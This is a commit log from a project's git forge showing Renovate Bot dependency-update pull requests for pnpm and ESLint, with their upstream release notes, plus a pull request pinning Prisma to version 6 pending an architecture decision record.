<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #41
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 19:54:32 +02:00
APF Portal Bot 4a73d2e8db chore(deps): update pnpm to v10.33.4 (#40)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m37s
CI / check (push) Successful in 1m51s
CI / perf (push) Failing after 2m5s
CI / a11y (push) Successful in 1m21s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [pnpm](https://pnpm.io) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm)) | packageManager | patch | [`10.33.3` -> `10.33.4`](https://renovatebot.com/diffs/npm/pnpm/10.33.3/10.33.4) |

---

### Release Notes

<details>
<summary>pnpm/pnpm (pnpm)</summary>

### [`v10.33.4`](https://github.com/pnpm/pnpm/releases/tag/v10.33.4): pnpm 10.33.4

[Compare Source](https://github.com/pnpm/pnpm/compare/v10.33.3...v10.33.4)

#### Patch Changes

- Pin the integrity of git-hosted tarballs (codeload.github.com, gitlab.com, bitbucket.org) in the lockfile so that subsequent installs detect a tampered or substituted tarball and refuse to install it. Previously the lockfile only stored the tarball URL for git dependencies, so a compromised git host or a man-in-the-middle could serve arbitrary code on later installs without lockfile changes.

  A new `gitHosted: true` field is recorded on git-hosted tarball resolutions in the lockfile, letting every reader/writer route them by a single typed check instead of pattern-matching the tarball URL in each call site. Lockfiles written by older pnpm versions are enriched on load (URL fallback) so the field can be relied on uniformly across the codebase.

- Fix a regression where `pnpm --recursive --filter '!<pkg>' run/exec/test/add` would include the workspace root in the matched projects. The workspace root is now correctly excluded by default when only negative `--filter` arguments are provided, matching the [documented behavior](https://pnpm.io/cli/recursive). To include the root, pass `--include-workspace-root` [#&#8203;11341](https://github.com/pnpm/pnpm/issues/11341).

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/40
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 19:53:46 +02:00
julien 8bb2d7b43f chore(deps): defer Prisma major updates pending coordinated upgrade ADR (#39)
CI / check (push) Successful in 3m1s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m41s
CI / a11y (push) Successful in 2m12s
CI / perf (push) Failing after 2m48s
## Summary
Renovate kept proposing Prisma 7 even though we deliberately downgraded to Prisma 6 in #3 — `nestjs-prisma@0.27.0` is incompatible with Prisma 7's driver-adapter contract, and the upgrade is non-trivial enough to warrant its own ADR rather than a silent Renovate merge.

- **`renovate.json`** — add `enabled: false` packageRule for `matchUpdateTypes: ["major"]` on `prisma`, `@prisma/*`, `nestjs-prisma`. Patch and minor bumps of the 6.x line keep flowing.
- **ADR-0006** — new "Prisma version pin: 6.x in v1" subsection records the narrowing of "latest stable major" to 6.x and the two triggers for revisiting:
  1. `nestjs-prisma` ships a release supporting Prisma 7, or
  2. We decide to drop `nestjs-prisma` for a hand-rolled `PrismaModule`.

  Either path needs its own ADR (schema, client instantiation, request-scoped lifecycle all to re-validate).

## Test plan
- [ ] Once merged, the open Prisma 7 PR can be closed (see closure comment below) and won't be recreated.
- [ ] Next Renovate run confirms no Prisma-major PR is created (check the dependency dashboard issue).
- [ ] Next patch/minor of Prisma 6.x still produces a normal grouped "Prisma" PR.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #39
2026-05-06 19:31:48 +02:00
APF Portal Bot 68a819d88a chore(deps): update eslint (major) (#36)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m42s
CI / check (push) Failing after 2m14s
CI / perf (push) Failing after 2m15s
CI / a11y (push) Successful in 1m4s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@eslint/js](https://eslint.org) ([source](https://github.com/eslint/eslint/tree/HEAD/packages/js)) | devDependencies | major | [`^9.8.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.39.4/10.0.1) |
| [eslint](https://eslint.org) ([source](https://github.com/eslint/eslint)) | devDependencies | major | [`^9.8.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/eslint/9.39.4/10.3.0) |
| [eslint-plugin-playwright](https://github.com/mskelton/eslint-plugin-playwright) | devDependencies | major | [`^1.6.2` -> `^2.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-playwright/1.8.3/2.10.2) |

---

### Release Notes

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v10.0.1`](https://github.com/eslint/eslint/releases/tag/v10.0.1)

[Compare Source](https://github.com/eslint/eslint/compare/v10.0.0...v10.0.1)

##### Bug Fixes

- [`c87d5bd`](https://github.com/eslint/eslint/commit/c87d5bded54c5cf491eb04c24c9d09bbbd42c23e) fix: update eslint ([#&#8203;20531](https://github.com/eslint/eslint/issues/20531)) (renovate\[bot])
- [`d841001`](https://github.com/eslint/eslint/commit/d84100115c14691691058f00779c94e74fca946a) fix: update `minimatch` to `10.2.1` to address security vulnerabilities ([#&#8203;20519](https://github.com/eslint/eslint/issues/20519)) (루밀LuMir)
- [`04c2147`](https://github.com/eslint/eslint/commit/04c21475b3004904948f02049f2888b401d82c78) fix: update error message for unused suppressions ([#&#8203;20496](https://github.com/eslint/eslint/issues/20496)) (fnx)
- [`38b089c`](https://github.com/eslint/eslint/commit/38b089c1726feac0e31a31d47941bd99e29ce003) fix: update dependency [@&#8203;eslint/config-array](https://github.com/eslint/config-array) to ^0.23.1 ([#&#8203;20484](https://github.com/eslint/eslint/issues/20484)) (renovate\[bot])

##### Documentation

- [`5b3dbce`](https://github.com/eslint/eslint/commit/5b3dbce50a1404a9f118afe810cefeee79388a2a) docs: add AI acknowledgement section to templates ([#&#8203;20431](https://github.com/eslint/eslint/issues/20431)) (루밀LuMir)
- [`6f23076`](https://github.com/eslint/eslint/commit/6f23076037d5879f20fb3be2ef094293b1e8d38c) docs: toggle nav in no-JS mode ([#&#8203;20476](https://github.com/eslint/eslint/issues/20476)) (Tanuj Kanti)
- [`b69cfb3`](https://github.com/eslint/eslint/commit/b69cfb32a16c5d5e9986390d484fae1d21e406f9) docs: Update README (GitHub Actions Bot)

##### Chores

- [`e5c281f`](https://github.com/eslint/eslint/commit/e5c281ffd038a3a7a3e5364db0b9378e0ad83020) chore: updates for v9.39.3 release (Jenkins)
- [`8c3832a`](https://github.com/eslint/eslint/commit/8c3832adb77cd993b4a24891900d5eeaaf093cdc) chore: update [@&#8203;typescript-eslint/parser](https://github.com/typescript-eslint/parser) to ^8.56.0 ([#&#8203;20514](https://github.com/eslint/eslint/issues/20514)) (Milos Djermanovic)
- [`8330d23`](https://github.com/eslint/eslint/commit/8330d238ae6adb68bb6a1c9381e38cfedd990d94) test: add tests for config-api ([#&#8203;20493](https://github.com/eslint/eslint/issues/20493)) (Milos Djermanovic)
- [`37d6e91`](https://github.com/eslint/eslint/commit/37d6e91e88fa6a2ca6d8726679096acff21ba6cc) chore: remove eslint v10 prereleases from eslint-config-eslint deps ([#&#8203;20494](https://github.com/eslint/eslint/issues/20494)) (Milos Djermanovic)
- [`da7cd0e`](https://github.com/eslint/eslint/commit/da7cd0e79197ad16e17052eef99df141de6dbfb1) refactor: cleanup error message templates ([#&#8203;20479](https://github.com/eslint/eslint/issues/20479)) (Francesco Trotta)
- [`84fb885`](https://github.com/eslint/eslint/commit/84fb885d49ac810e79a9491276b4828b53d913e5) chore: package.json update for [@&#8203;eslint/js](https://github.com/eslint/js) release (Jenkins)
- [`1f66734`](https://github.com/eslint/eslint/commit/1f667344b57c4c09b548d94bcfac1f91b6e5c63d) chore: add `eslint` to `peerDependencies` of `@eslint/js` ([#&#8203;20467](https://github.com/eslint/eslint/issues/20467)) (Milos Djermanovic)

### [`v10.0.0`](https://github.com/eslint/eslint/releases/tag/v10.0.0)

[Compare Source](https://github.com/eslint/eslint/compare/v9.39.4...v10.0.0)

##### Breaking Changes

- [`f9e54f4`](https://github.com/eslint/eslint/commit/f9e54f43a5e497cdfa179338b431093245cb787b) feat!: estimate rule-tester failure location ([#&#8203;20420](https://github.com/eslint/eslint/issues/20420)) (ST-DDT)
- [`a176319`](https://github.com/eslint/eslint/commit/a176319d8ade1a7d9b2d7fb8f038f55a2662325f) feat!: replace `chalk` with `styleText` and add `color` to `ResultsMeta` ([#&#8203;20227](https://github.com/eslint/eslint/issues/20227)) (루밀LuMir)
- [`c7046e6`](https://github.com/eslint/eslint/commit/c7046e6c1e03c4ca0eee4888a1f2eba4c6454f84) feat!: enable JSX reference tracking ([#&#8203;20152](https://github.com/eslint/eslint/issues/20152)) (Pixel998)
- [`fa31a60`](https://github.com/eslint/eslint/commit/fa31a608901684fbcd9906d1907e66561d16e5aa) feat!: add `name` to configs ([#&#8203;20015](https://github.com/eslint/eslint/issues/20015)) (Kirk Waiblinger)
- [`3383e7e`](https://github.com/eslint/eslint/commit/3383e7ec9028166cafc8ea7986c2f7498d0049f0) fix!: remove deprecated `SourceCode` methods ([#&#8203;20137](https://github.com/eslint/eslint/issues/20137)) (Pixel998)
- [`501abd0`](https://github.com/eslint/eslint/commit/501abd0e916a35554c58b7c0365537f1fa3880ce) feat!: update dependency minimatch to v10 ([#&#8203;20246](https://github.com/eslint/eslint/issues/20246)) (renovate\[bot])
- [`ca4d3b4`](https://github.com/eslint/eslint/commit/ca4d3b40085de47561f89656a2207d09946ed45e) fix!: stricter rule tester assertions for valid test cases ([#&#8203;20125](https://github.com/eslint/eslint/issues/20125)) (唯然)
- [`96512a6`](https://github.com/eslint/eslint/commit/96512a66c86402fb0538cdcb6cd30b9073f6bf3b) fix!: Remove deprecated rule context methods ([#&#8203;20086](https://github.com/eslint/eslint/issues/20086)) (Nicholas C. Zakas)
- [`c69fdac`](https://github.com/eslint/eslint/commit/c69fdacdb2e886b9d965568a397aa8220db3fe90) feat!: remove eslintrc support ([#&#8203;20037](https://github.com/eslint/eslint/issues/20037)) (Francesco Trotta)
- [`208b5cc`](https://github.com/eslint/eslint/commit/208b5cc34a8374ff81412b5bec2e0800eebfbd04) feat!: Use `ScopeManager#addGlobals()` ([#&#8203;20132](https://github.com/eslint/eslint/issues/20132)) (Milos Djermanovic)
- [`a2ee188`](https://github.com/eslint/eslint/commit/a2ee188ea7a38a0c6155f3d39e2b00e1d0f36e14) fix!: add `uniqueItems: true` in `no-invalid-regexp` option ([#&#8203;20155](https://github.com/eslint/eslint/issues/20155)) (Tanuj Kanti)
- [`a89059d`](https://github.com/eslint/eslint/commit/a89059dbf2832d417dd493ee81483227ec44e4ab) feat!: Program range span entire source text ([#&#8203;20133](https://github.com/eslint/eslint/issues/20133)) (Pixel998)
- [`39a6424`](https://github.com/eslint/eslint/commit/39a6424373d915fa9de0d7b0caba9a4dc3da9b53) fix!: assert 'text' is a string across all RuleFixer methods ([#&#8203;20082](https://github.com/eslint/eslint/issues/20082)) (Pixel998)
- [`f28fbf8`](https://github.com/eslint/eslint/commit/f28fbf846244e043c92b355b224d121b06140b44) fix!: Deprecate `"always"` and `"as-needed"` options of the `radix` rule ([#&#8203;20223](https://github.com/eslint/eslint/issues/20223)) (Milos Djermanovic)
- [`aa3fb2b`](https://github.com/eslint/eslint/commit/aa3fb2b233e929b37220be940575f42c280e0b98) fix!: tighten `func-names` schema ([#&#8203;20119](https://github.com/eslint/eslint/issues/20119)) (Pixel998)
- [`f6c0ed0`](https://github.com/eslint/eslint/commit/f6c0ed0311dcfee853367d5068c765d066e6b756) feat!: report `eslint-env` comments as errors ([#&#8203;20128](https://github.com/eslint/eslint/issues/20128)) (Francesco Trotta)
- [`4bf739f`](https://github.com/eslint/eslint/commit/4bf739fb533e59f7f0a66b65f7bc80be0f37d8db) fix!: remove deprecated `LintMessage#nodeType` and `TestCaseError#type` ([#&#8203;20096](https://github.com/eslint/eslint/issues/20096)) (Pixel998)
- [`523c076`](https://github.com/eslint/eslint/commit/523c076866400670fb2192a3f55dbf7ad3469247) feat!: drop support for jiti < 2.2.0 ([#&#8203;20016](https://github.com/eslint/eslint/issues/20016)) (michael faith)
- [`454a292`](https://github.com/eslint/eslint/commit/454a292c95f34dad232411ddac06408e6383bb64) feat!: update `eslint:recommended` configuration ([#&#8203;20210](https://github.com/eslint/eslint/issues/20210)) (Pixel998)
- [`4f880ee`](https://github.com/eslint/eslint/commit/4f880ee02992e1bf0e96ebaba679985e2d1295f1) feat!: remove `v10_*` and inactive `unstable_*` flags ([#&#8203;20225](https://github.com/eslint/eslint/issues/20225)) (sethamus)
- [`f18115c`](https://github.com/eslint/eslint/commit/f18115c363a4ac7671a4c7f30ee13d57ebba330f) feat!: `no-shadow-restricted-names` report `globalThis` by default ([#&#8203;20027](https://github.com/eslint/eslint/issues/20027)) (sethamus)
- [`c6358c3`](https://github.com/eslint/eslint/commit/c6358c31fbd3937b92d89be2618ffdf5a774604e) feat!: Require Node.js `^20.19.0 || ^22.13.0 || >=24` ([#&#8203;20160](https://github.com/eslint/eslint/issues/20160)) (Milos Djermanovic)

##### Features

- [`bff9091`](https://github.com/eslint/eslint/commit/bff9091927811497dbf066b0e3b85ecb37d43822) feat: handle `Array.fromAsync` in `array-callback-return` ([#&#8203;20457](https://github.com/eslint/eslint/issues/20457)) (Francesco Trotta)
- [`290c594`](https://github.com/eslint/eslint/commit/290c594bb50c439fb71bc75521ee5360daa8c222) feat: add `self` to `no-implied-eval` rule ([#&#8203;20468](https://github.com/eslint/eslint/issues/20468)) (sethamus)
- [`43677de`](https://github.com/eslint/eslint/commit/43677de07ebd6e14bfac40a46ad749ba783c45f2) feat: fix handling of function and class expression names in `no-shadow` ([#&#8203;20432](https://github.com/eslint/eslint/issues/20432)) (Milos Djermanovic)
- [`f0cafe5`](https://github.com/eslint/eslint/commit/f0cafe5f37e7765e9d8c2751b5f5d33107687009) feat: rule tester add assertion option `requireData` ([#&#8203;20409](https://github.com/eslint/eslint/issues/20409)) (fnx)
- [`f7ab693`](https://github.com/eslint/eslint/commit/f7ab6937e63bc618d326710858f5861a68f80616) feat: output RuleTester test case failure index ([#&#8203;19976](https://github.com/eslint/eslint/issues/19976)) (ST-DDT)
- [`7cbcbf9`](https://github.com/eslint/eslint/commit/7cbcbf9c3c2008deee7d143ae35e668e8ffbccb3) feat: add `countThis` option to `max-params` ([#&#8203;20236](https://github.com/eslint/eslint/issues/20236)) (Gerkin)
- [`f148a5e`](https://github.com/eslint/eslint/commit/f148a5eaa1e89dd80ade62f0a690186b00b9f6e1) feat: add error assertion options ([#&#8203;20247](https://github.com/eslint/eslint/issues/20247)) (ST-DDT)
- [`09e6654`](https://github.com/eslint/eslint/commit/09e66549ecada6dcb8c567a60faf044fce049188) feat: update error loc of `require-yield` and `no-useless-constructor` ([#&#8203;20267](https://github.com/eslint/eslint/issues/20267)) (Tanuj Kanti)

##### Bug Fixes

- [`436b82f`](https://github.com/eslint/eslint/commit/436b82f3c0a8cfa2fdc17d173e95ea11d5d3ee03) fix: update eslint ([#&#8203;20473](https://github.com/eslint/eslint/issues/20473)) (renovate\[bot])
- [`1d29d22`](https://github.com/eslint/eslint/commit/1d29d22fe302443cec2a11da0816397f94af97ec) fix: detect default `this` binding in `Array.fromAsync` callbacks ([#&#8203;20456](https://github.com/eslint/eslint/issues/20456)) (Francesco Trotta)
- [`727451e`](https://github.com/eslint/eslint/commit/727451eff55b35d853e0e443d0de58f4550762bf) fix: fix regression of global mode report range in `strict` rule ([#&#8203;20462](https://github.com/eslint/eslint/issues/20462)) (ntnyq)
- [`e80485f`](https://github.com/eslint/eslint/commit/e80485fcd27196fa0b6f6b5c7ac8cf49ad4b079d) fix: remove fake `FlatESLint` and `LegacyESLint` exports ([#&#8203;20460](https://github.com/eslint/eslint/issues/20460)) (Francesco Trotta)
- [`9eeff3b`](https://github.com/eslint/eslint/commit/9eeff3bc13813a786b8a4c3815def97c0fb646ef) fix: update esquery ([#&#8203;20423](https://github.com/eslint/eslint/issues/20423)) (cryptnix)
- [`b34b938`](https://github.com/eslint/eslint/commit/b34b93852d014ebbcf3538d892b55e0216cdf681) fix: use `Error.prepareStackTrace` to estimate failing test location ([#&#8203;20436](https://github.com/eslint/eslint/issues/20436)) (Francesco Trotta)
- [`51aab53`](https://github.com/eslint/eslint/commit/51aab5393b058f7cbed69041a9069b2bd106aabd) fix: update eslint ([#&#8203;20443](https://github.com/eslint/eslint/issues/20443)) (renovate\[bot])
- [`23490b2`](https://github.com/eslint/eslint/commit/23490b266276792896a0b7b43c49a1ce87bf8568) fix: handle space before colon in `RuleTester` location estimation ([#&#8203;20433](https://github.com/eslint/eslint/issues/20433)) (Francesco Trotta)
- [`f244dbf`](https://github.com/eslint/eslint/commit/f244dbf2191267a4cafd08645243624baf3e8c83) fix: use `MessagePlaceholderData` type from `@eslint/core` ([#&#8203;20348](https://github.com/eslint/eslint/issues/20348)) (루밀LuMir)
- [`d186f8c`](https://github.com/eslint/eslint/commit/d186f8c0747f14890e86a5a39708b052b391ddaf) fix: update eslint ([#&#8203;20427](https://github.com/eslint/eslint/issues/20427)) (renovate\[bot])
- [`2332262`](https://github.com/eslint/eslint/commit/2332262deb4ef3188b210595896bb0ff552a7e66) fix: error location should not modify error message in RuleTester ([#&#8203;20421](https://github.com/eslint/eslint/issues/20421)) (Milos Djermanovic)
- [`ab99b21`](https://github.com/eslint/eslint/commit/ab99b21a6715dee1035d8f4e6d6841853eb5563f) fix: ensure `filename` is passed as third argument to `verifyAndFix()` ([#&#8203;20405](https://github.com/eslint/eslint/issues/20405)) (루밀LuMir)
- [`8a60f3b`](https://github.com/eslint/eslint/commit/8a60f3bc80ad96c65feeb29886342623c630199c) fix: remove `ecmaVersion` and `sourceType` from `ParserOptions` type ([#&#8203;20415](https://github.com/eslint/eslint/issues/20415)) (Pixel998)
- [`eafd727`](https://github.com/eslint/eslint/commit/eafd727a060131f7fc79b2eb5698d8d27683c3a2) fix: remove `TDZ` scope type ([#&#8203;20231](https://github.com/eslint/eslint/issues/20231)) (jaymarvelz)
- [`39d1f51`](https://github.com/eslint/eslint/commit/39d1f51680d4fbade16b4d9c07ad61a87ee3b1ea) fix: correct `Scope` typings ([#&#8203;20404](https://github.com/eslint/eslint/issues/20404)) (sethamus)
- [`2bd0f13`](https://github.com/eslint/eslint/commit/2bd0f13a92fb373827f16210aa4748d4885fddb1) fix: update `verify` and `verifyAndFix` types ([#&#8203;20384](https://github.com/eslint/eslint/issues/20384)) (Francesco Trotta)
- [`ba6ebfa`](https://github.com/eslint/eslint/commit/ba6ebfa78de0b8522cea5ee80179887e92c6c935) fix: correct typings for `loadESLint()` and `shouldUseFlatConfig()` ([#&#8203;20393](https://github.com/eslint/eslint/issues/20393)) (루밀LuMir)
- [`e7673ae`](https://github.com/eslint/eslint/commit/e7673ae096900330599680efe91f8a199a5c2e59) fix: correct RuleTester typings ([#&#8203;20105](https://github.com/eslint/eslint/issues/20105)) (Pixel998)
- [`53e9522`](https://github.com/eslint/eslint/commit/53e95222af8561a8eed282fa9fd44b2f320a3c37) fix: strict removed formatters check ([#&#8203;20241](https://github.com/eslint/eslint/issues/20241)) (ntnyq)
- [`b017f09`](https://github.com/eslint/eslint/commit/b017f094d4e53728f8d335b9cf8b16dc074afda3) fix: correct `no-restricted-import` messages ([#&#8203;20374](https://github.com/eslint/eslint/issues/20374)) (Francesco Trotta)

##### Documentation

- [`e978dda`](https://github.com/eslint/eslint/commit/e978ddaab7e6a3c38b4a2afa721148a6ef38f29a) docs: Update README (GitHub Actions Bot)
- [`4cecf83`](https://github.com/eslint/eslint/commit/4cecf8393ae9af18c4cfd50621115eb23b3d0cb6) docs: Update README (GitHub Actions Bot)
- [`c79f0ab`](https://github.com/eslint/eslint/commit/c79f0ab2e2d242a93b08ff2f6a0712e2ef60b7b8) docs: Update README (GitHub Actions Bot)
- [`773c052`](https://github.com/eslint/eslint/commit/773c0527c72c09fb5e63c2036b5cb9783f1f04d3) docs: Update README (GitHub Actions Bot)
- [`f2962e4`](https://github.com/eslint/eslint/commit/f2962e46a0e8ee8e04d76e9d899f6a7c73a646f1) docs: document `meta.docs.frozen` property ([#&#8203;20475](https://github.com/eslint/eslint/issues/20475)) (Pixel998)
- [`8e94f58`](https://github.com/eslint/eslint/commit/8e94f58bebfd854eed814a39e19dea4e3c3ee4a3) docs: fix broken anchor links from gerund heading updates ([#&#8203;20449](https://github.com/eslint/eslint/issues/20449)) (Copilot)
- [`1495654`](https://github.com/eslint/eslint/commit/14956543d42ab542f72820f38941d0bcc39a1fbb) docs: Update README (GitHub Actions Bot)
- [`0b8ed5c`](https://github.com/eslint/eslint/commit/0b8ed5c0aa4222a9b6b185c605cfedaef4662dcb) docs: document support for `:is` selector alias ([#&#8203;20454](https://github.com/eslint/eslint/issues/20454)) (sethamus)
- [`1c4b33f`](https://github.com/eslint/eslint/commit/1c4b33fe8620dcaafbe6e8f4e9515b624476548c) docs: Document policies about ESM-only dependencies ([#&#8203;20448](https://github.com/eslint/eslint/issues/20448)) (Milos Djermanovic)
- [`3e5d38c`](https://github.com/eslint/eslint/commit/3e5d38cdd5712bef50d440585b0f6669a2e9a9b9) docs: add missing indentation space in rule example ([#&#8203;20446](https://github.com/eslint/eslint/issues/20446)) (fnx)
- [`63a0c7c`](https://github.com/eslint/eslint/commit/63a0c7c84bf5b12357893ea2bf0482aa3c855bac) docs: Update README (GitHub Actions Bot)
- [`65ed0c9`](https://github.com/eslint/eslint/commit/65ed0c94e7cd1e3f882956113228311d8c7b3463) docs: Update README (GitHub Actions Bot)
- [`b0e4717`](https://github.com/eslint/eslint/commit/b0e4717d6619ffd02913cf3633b44d8e6953d938) docs: \[no-await-in-loop] Expand inapplicability ([#&#8203;20363](https://github.com/eslint/eslint/issues/20363)) (Niklas Hambüchen)
- [`fca421f`](https://github.com/eslint/eslint/commit/fca421f6a4eecd52f2a7ae5765bd9008f62f9994) docs: Update README (GitHub Actions Bot)
- [`d925c54`](https://github.com/eslint/eslint/commit/d925c54f045b2230d3404e8aa18f4e2860a35e1d) docs: update config syntax in `no-lone-blocks` ([#&#8203;20413](https://github.com/eslint/eslint/issues/20413)) (Pixel998)
- [`7d5c95f`](https://github.com/eslint/eslint/commit/7d5c95f281cb88868f4e09ca07fbbc6394d78c41) docs: remove redundant `sourceType: "module"` from rule examples ([#&#8203;20412](https://github.com/eslint/eslint/issues/20412)) (Pixel998)
- [`02e7e71`](https://github.com/eslint/eslint/commit/02e7e7126366fc5eeffb713f865d80a759dc14b0) docs: correct `.mts` glob pattern in files with extensions example ([#&#8203;20403](https://github.com/eslint/eslint/issues/20403)) (Ali Essalihi)
- [`264b981`](https://github.com/eslint/eslint/commit/264b981101a3cf0c12eba200ac64e5523186a89f) docs: Update README (GitHub Actions Bot)
- [`5a4324f`](https://github.com/eslint/eslint/commit/5a4324f38e7ce370038351ef7412dcf8548c105e) docs: clarify `"local"` option of `no-unused-vars` ([#&#8203;20385](https://github.com/eslint/eslint/issues/20385)) (Milos Djermanovic)
- [`e593aa0`](https://github.com/eslint/eslint/commit/e593aa0fd29f51edea787815ffc847aa723ef1f8) docs: improve clarity, grammar, and wording in documentation site README ([#&#8203;20370](https://github.com/eslint/eslint/issues/20370)) (Aditya)
- [`3f5062e`](https://github.com/eslint/eslint/commit/3f5062ed5f27eb25414faced2478ae076906874e) docs: Add messages property to rule meta documentation ([#&#8203;20361](https://github.com/eslint/eslint/issues/20361)) (Sabya Sachi)
- [`9e5a5c2`](https://github.com/eslint/eslint/commit/9e5a5c2b6b368cdacd678eabf36b441bd8bb726c) docs: remove `Examples` headings from rule docs ([#&#8203;20364](https://github.com/eslint/eslint/issues/20364)) (Milos Djermanovic)
- [`194f488`](https://github.com/eslint/eslint/commit/194f488a8dc97850485afe704d2a64096582f96d) docs: Update README (GitHub Actions Bot)
- [`0f5a94a`](https://github.com/eslint/eslint/commit/0f5a94a84beee19f376025c74f703f275d52c94b) docs: \[class-methods-use-this] explain purpose of rule ([#&#8203;20008](https://github.com/eslint/eslint/issues/20008)) (Kirk Waiblinger)
- [`df5566f`](https://github.com/eslint/eslint/commit/df5566f826d9f5740546e473aa6876b1f7d2f12c) docs: add Options section to all rule docs ([#&#8203;20296](https://github.com/eslint/eslint/issues/20296)) (sethamus)
- [`adf7a2b`](https://github.com/eslint/eslint/commit/adf7a2b202743a98edc454890574292dd2b34837) docs: no-unsafe-finally note for generator functions ([#&#8203;20330](https://github.com/eslint/eslint/issues/20330)) (Tom Pereira)
- [`ef7028c`](https://github.com/eslint/eslint/commit/ef7028c9688dc931051a4217637eb971efcbd71b) docs: Update README (GitHub Actions Bot)
- [`fbae5d1`](https://github.com/eslint/eslint/commit/fbae5d18854b30ea3b696672c7699cef3ec92140) docs: consistently use "v10.0.0" in migration guide ([#&#8203;20328](https://github.com/eslint/eslint/issues/20328)) (Pixel998)
